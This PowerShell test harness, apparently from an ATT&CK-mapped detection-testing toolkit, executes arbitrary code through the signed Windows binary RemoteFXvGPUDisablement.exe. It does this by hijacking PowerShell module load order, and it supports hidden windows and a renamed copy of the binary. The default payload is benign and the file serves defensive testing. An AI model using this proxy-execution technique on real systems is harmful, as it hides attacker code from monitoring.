TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1

function Invoke-ATHRemoteFXvGPUDisablementCommand {
<#
.SYNOPSIS
 
Executes PowerShell code using RemoteFXvGPUDisablement.exe as a proxy executable.
 
Technique ID: T1218 (Signed Binary Proxy Execution)
 
.DESCRIPTION
 
Invoke-ATHRemoteFXvGPUDisablementCommand executes supplied PowerShell code using RemoteFXvGPUDisablement.exe as a proxy executable. RemoteFXvGPUDisablement.exe was introduced in Windows 10 and Server 2019 (OS Build 17763.1339) and serves as a wrapper around several PowerShell commands.
 
One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. Invoke-ATHRemoteFXvGPUDisablementCommand gets RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable.
 
Invoke-ATHRemoteFXvGPUDisablementCommand is used to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe.
 
Note: This technique will not work under the following conditions:
 
1. RemoteFXvGPUDisablement.exe is not present.
2. PowerShell Constrained Language Mode is enforced. Because the temporary module written to disk is unlikely to be permitted by application control (WDAC/AppLocker) policy, it will fail to load and be logged accordingly ("Microsoft-Windows-AppLocker/MSI and Script" Event ID 8029 - applies to AppLocker and WDAC).
 
.PARAMETER RemoteFXvGPUDisablementFilePath
 
Specifies an alternate directory to execute RemoteFXvGPUDisablement.exe from. if -RemoteFXvGPUDisablementFilePath is not supplied, RemoteFXvGPUDisablement.exe will execute from %windir%.
 
.PARAMETER ScriptBlock
 
Specifies optional PowerShell code to execute. Note that supplied PowerShell code will not display output so validate execution accordingly. When supplying a custom scriptblock, Invoke-ATHRemoteFXvGPUDisablementCommand is unable to validate successful execution. if -ScriptBlock is not supplied, it will execute template PowerShell code that is used to validate successful execution.
 
.PARAMETER ModuleName
 
Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used.
 
.PARAMETER ModulePath
 
Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used/ Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules.
 
.PARAMETER TestGuid
 
Optionally, specify a test GUID value to use to override the generated test GUID behavior.
 
.OUTPUTS
 
PSObject
 
Outputs an object consisting of relevant execution details. The following object properties may be populated:
 
* TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID.
* TestSuccess - Will be set to True if it was determined that the PowerShell code successfully executed. Note: "True" is only returned when an argument is not supplied to -ScriptBlock, i.e. the default template code is used.
* TestGuid - Specifies the test GUID that was used for the test.
* ModulePath - Specifies the path to the temporary module created.
* ModuleContents - Specifies the contents of the custom implementation of the Get-VMRemoteFXPhysicalVideoAdapter function.
* ModuleFileHash - Specifies the SHA256 file hash of the custom script module file.
* RunnerFilePath - Specifies the full path of RemoteFXvGPUDisablement.exe.
* RunnerProcessId - Specifies the process ID of RemoteFXvGPUDisablement.exe.
* RunnerCommandLine - Specifies the command-line of RemoteFXvGPUDisablement.exe.
* RunnerChildProcessId - Specifies the process ID of the process that was executed as the result of the PowerShell code executing. This will only be populated when code is not supplied via -ScriptBlock.
* RunnerChildProcessCommandLine - Specifies the command-line of process that was executed as the result of the PowerShell code executing. This will only be populated when code is not supplied via -ScriptBlock.
 
.EXAMPLE
 
Invoke-ATHRemoteFXvGPUDisablementCommand
 
.EXAMPLE
 
Invoke-ATHRemoteFXvGPUDisablementCommand -ScriptBlock { Get-Date | Out-File -FilePath 'C:\Users\CurrentUser\Desktop\executed.txt' -Append }
 
.EXAMPLE
 
Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName Foo
 
.EXAMPLE
 
Invoke-ATHRemoteFXvGPUDisablementCommand -ModulePath $PWD
 
Executes PowerShell code from a user-supplied module path, in this case, the current directory.
 
.EXAMPLE
 
Copy-Item -Path "$Env:windir\System32\RemoteFXvGPUDisablement.exe" -Destination 'notepad.exe'
Invoke-ATHRemoteFXvGPUDisablementCommand -RemoteFXvGPUDisablementFilePath 'notepad.exe'
 
Executes RemoteFXvGPUDisablement.exe from a relocated and renamed executable, notepad.exe in the current directory, in this case.
 
.LINK
 
https://support.microsoft.com/en-us/help/4558998/windows-10-update-kb4558998
https://support.microsoft.com/en-us/help/4570006/update-to-disable-and-remove-the-remotefx-vgpu-component
https://twitter.com/pronichkin/status/1285241439052427265
#>


    [CmdletBinding()]
    param (
        [String]
        [ValidateNotNullOrEmpty()]
        $RemoteFXvGPUDisablementFilePath = "$Env:windir\System32\RemoteFXvGPUDisablement.exe",

        [ScriptBlock]
        $ScriptBlock,

        [String]
        [ValidateNotNullOrEmpty()]
        $ModuleName = ((1..16 | ForEach-Object { [Char] (Get-Random -Minimum 0x41 -Maximum 0x5B) }) -join ''),

        [String]
        [ValidateScript({ Test-Path -Path $_ -PathType Container })]
        $ModulePath,

        [Guid]
        $TestGuid = (New-Guid)
    )

    $ModuleExecuted = $null
    $FullModulePath = $null
    $ExecutedRemoteFXvGPUDisablementCommandLine = $null
    $ExecutedRemoteFXvGPUDisablementPID = $null
    $SpawnedProcCommandLine = $null
    $SpawnedProcProcessId = $null

    $RemoteFXvGPUDisablementFullPath = Resolve-Path -Path $RemoteFXvGPUDisablementFilePath -ErrorAction Stop

    if ($ModulePath) {
        $FullModulePath = Resolve-Path -Path $ModulePath
    } else {
        # Obtain the first entry in the PSModulePath list
        $FullModulePath = $Env:PSModulePath.Split(';')[0]
    }

    # Validate that the RemoteFXvGPUDisablement supplied is actually RemoteFXvGPUDisablement.
    $RemoteFXvGPUDisablementFileInfo = Get-Item -Path $RemoteFXvGPUDisablementFullPath -ErrorAction Stop

    if ($RemoteFXvGPUDisablementFileInfo.VersionInfo.OriginalFilename -ne 'RemoteFXvGPUDisablement.exe') {
        Write-Error "The RemoteFXvGPUDisablement executable supplied is not RemoteFXvGPUDisablement.exe: $RemoteFXvGPUDisablementFullPath"
        return
    }

    if (Get-Command -Name Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction SilentlyContinue | Where-Object { $_.Source -ne 'Hyper-V' }) {
        Write-Error -Message 'A Get-VMRemoteFXPhysicalVideoAdapter function already exists outside of the Hyper-V module. All other modules containing the Get-VMRemoteFXPhysicalVideoAdapter function must be deleted.'
        return
    }

    $ParentPath = Split-Path -Path $FullModulePath -Parent

    # If the parent module directory doesn't exist, create it
    if (-not (Test-Path -Path $ParentPath)) {
        # Create the PowerShell directory
        $null = New-Item -Path $ParentPath -ItemType Directory -ErrorAction Stop

        # Create the modules directory
        $null = New-Item -Path $FullModulePath -ItemType Directory -ErrorAction Stop
    }

    if ($ScriptBlock) {
        $FunctionToExecute = @'
function Get-VMRemoteFXPhysicalVideoAdapter {
 
'@
 + $ScriptBlock.ToString() + @'
 
}
'@

    } else {
        $FunctionToExecute = @"
function Get-VMRemoteFXPhysicalVideoAdapter {
    `$ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly
    `$ProcessStartupInstance = Get-CimInstance -InputObject `$ProcessStartup
    `$ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window
    `$ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = "powershell.exe -NoProfile -Command Write-Host $TestGuid"; ProcessStartupInformation = `$ProcessStartupInstance }
}
"@

    }

    if (Get-Module -ListAvailable -Name $ModuleName) {
        Write-Error -Message "The $ModuleName module already exists."
        return
    }

    Write-Verbose "Adding the following module to $($FullModulePath): $ModuleName"

    $NewModulePath = New-Item -Path $FullModulePath -Name $ModuleName -ItemType Directory
    $ModuleScriptPath = "$($NewModulePath.FullName)\$ModuleName.psm1"

    Write-Verbose "Writing the following content to $($ModuleScriptPath):`r`n`r`n$FunctionToExecute"

    # Write the module contents to the temporary script module
    Out-File -FilePath $ModuleScriptPath -InputObject $FunctionToExecute -ErrorAction Stop

    $ScriptModuleFileHash = Get-FileHash -Path $ModuleScriptPath | Select-Object -ExpandProperty Hash

    # Validate that the module is now available
    $ModuleInfo = Import-Module $ModuleScriptPath -PassThru -ErrorAction Stop
    $null = Get-Command -Module $ModuleName -Name Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction Stop

    if (-not $ScriptBlock) {
        # Remove any extra ChildProcSpawned events
        Unregister-Event -SourceIdentifier 'ProcessSpawned' -ErrorAction SilentlyContinue
        Get-Event -SourceIdentifier 'ChildProcSpawned' -ErrorAction SilentlyContinue | Remove-Event

        # Trigger an event any time powershell.exe has $TestGuid in the command line.
        # This event should correspond to the mshta or rundll process that launched it.
        $WMIEventQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 0.1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'powershell.exe' AND TargetInstance.CommandLine LIKE '%$($TestGuid)%'"

        Write-Verbose "Registering powershell.exe child process creation WMI event using the following WMI event query: $WMIEventQuery"

        $null = Register-CimIndicationEvent -SourceIdentifier 'ProcessSpawned' -Query $WMIEventQuery -Action {
            $SpawnedProcInfo = [PSCustomObject] @{
                ProcessId = $EventArgs.NewEvent.TargetInstance.ProcessId
                ProcessCommandLine = $EventArgs.NewEvent.TargetInstance.CommandLine
            }

            New-Event -SourceIdentifier 'ChildProcSpawned' -MessageData $SpawnedProcInfo
        }
    }

    # Spawn RemoteFXvGPUDisablement.exe instance
    $ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly
    $ProcessStartupInstance = Get-CimInstance -InputObject $ProcessStartup
    $ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window

    if ($ModulePath) {
        # Prepend the supplied module path to %PSModulePath%
        $CustomPSModulePath = "PSModulePath=$($FullModulePath);$($Env:PSModulePath)"

        # Gather up all existing environment variables except %PSModulePath%.
        [String[]] $AllEnvVarsExceptPSModulePath = Get-ChildItem Env:\* -Exclude 'PSModulePath' | ForEach-Object { "$($_.Name)=$($_.Value)" }

        [String[]] $AllEnvVars = $AllEnvVarsExceptPSModulePath + $CustomPSModulePath

        $ProcessStartupInstance.EnvironmentVariables = $AllEnvVars
    }

    $ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = "`"$RemoteFXvGPUDisablementFullPath`" Disable"; ProcessStartupInformation = $ProcessStartupInstance }

    if ($ProcStartResult.ReturnValue -eq 0) {
        # Retrieve the actual command-line of the spawned PowerShell process
        $ExecutedRemoteFXvGPUDisablementProcInfo = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = $($ProcStartResult.ProcessId)" -Property CommandLine, ExecutablePath
        $ExecutedRemoteFXvGPUDisablementCommandLine = $ExecutedRemoteFXvGPUDisablementProcInfo.CommandLine
        $ExecutedRemoteFXvGPUDisablementPID = $ProcStartResult.ProcessId
        $RemoteFXvGPUDisablementFullPath = $ExecutedRemoteFXvGPUDisablementProcInfo.ExecutablePath
    } else {
        Write-Error "RemoteFXvGPUDisablementFullPath.exe child process was not spawned."
    }

    if (-not $ScriptBlock) {
        # Wait for the test powershell.exe execution to run
        $ChildProcSpawnedEvent = Wait-Event -SourceIdentifier 'ChildProcSpawned' -Timeout 10
        $ChildProcInfo = $null

        if ($ChildProcSpawnedEvent) {
            $ModuleExecuted = $True

            $ChildProcInfo = $ChildProcSpawnedEvent.MessageData
            $SpawnedProcCommandLine = $ChildProcInfo.ProcessCommandLine
            $SpawnedProcProcessId = $ChildProcInfo.ProcessId

            $ChildProcSpawnedEvent | Remove-Event
        } else {
            Write-Error "powershell.exe child process was not spawned."
        }

        # Cleanup
        Unregister-Event -SourceIdentifier 'ProcessSpawned'
    }

    [PSCustomObject] @{
        TechniqueID       = 'T1218'
        TestSuccess       = $ModuleExecuted
        TestGuid          = $TestGuid
        ModulePath        = $ModuleScriptPath
        ModuleContents    = $FunctionToExecute
        ModuleFileHash    = $ScriptModuleFileHash
        RunnerFilePath    = $RemoteFXvGPUDisablementFullPath
        RunnerProcessId   = $ExecutedRemoteFXvGPUDisablementPID
        RunnerCommandLine = $ExecutedRemoteFXvGPUDisablementCommandLine
        RunnerChildProcessId          = $SpawnedProcProcessId
        RunnerChildProcessCommandLine = $SpawnedProcCommandLine
    }

    # Sleep a few seconds to give it some time to execute prior to deleting the temporary module.
    if ($ScriptBlock) {
        Start-Sleep -Seconds 2
    }

    # Delete the module that was just created
    Write-Verbose "Deleting the script module: $ModuleScriptPath"
    Remove-Item -Path $ModuleScriptPath -Force -ErrorAction SilentlyContinue

    Write-Verbose "Deleting the module path: $NewModulePath"
    Remove-Item -Path $NewModulePath -Force -ErrorAction SilentlyContinue

    Remove-Module -ModuleInfo $ModuleInfo -ErrorAction SilentlyContinue
    Remove-Item Function:\Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction SilentlyContinue
}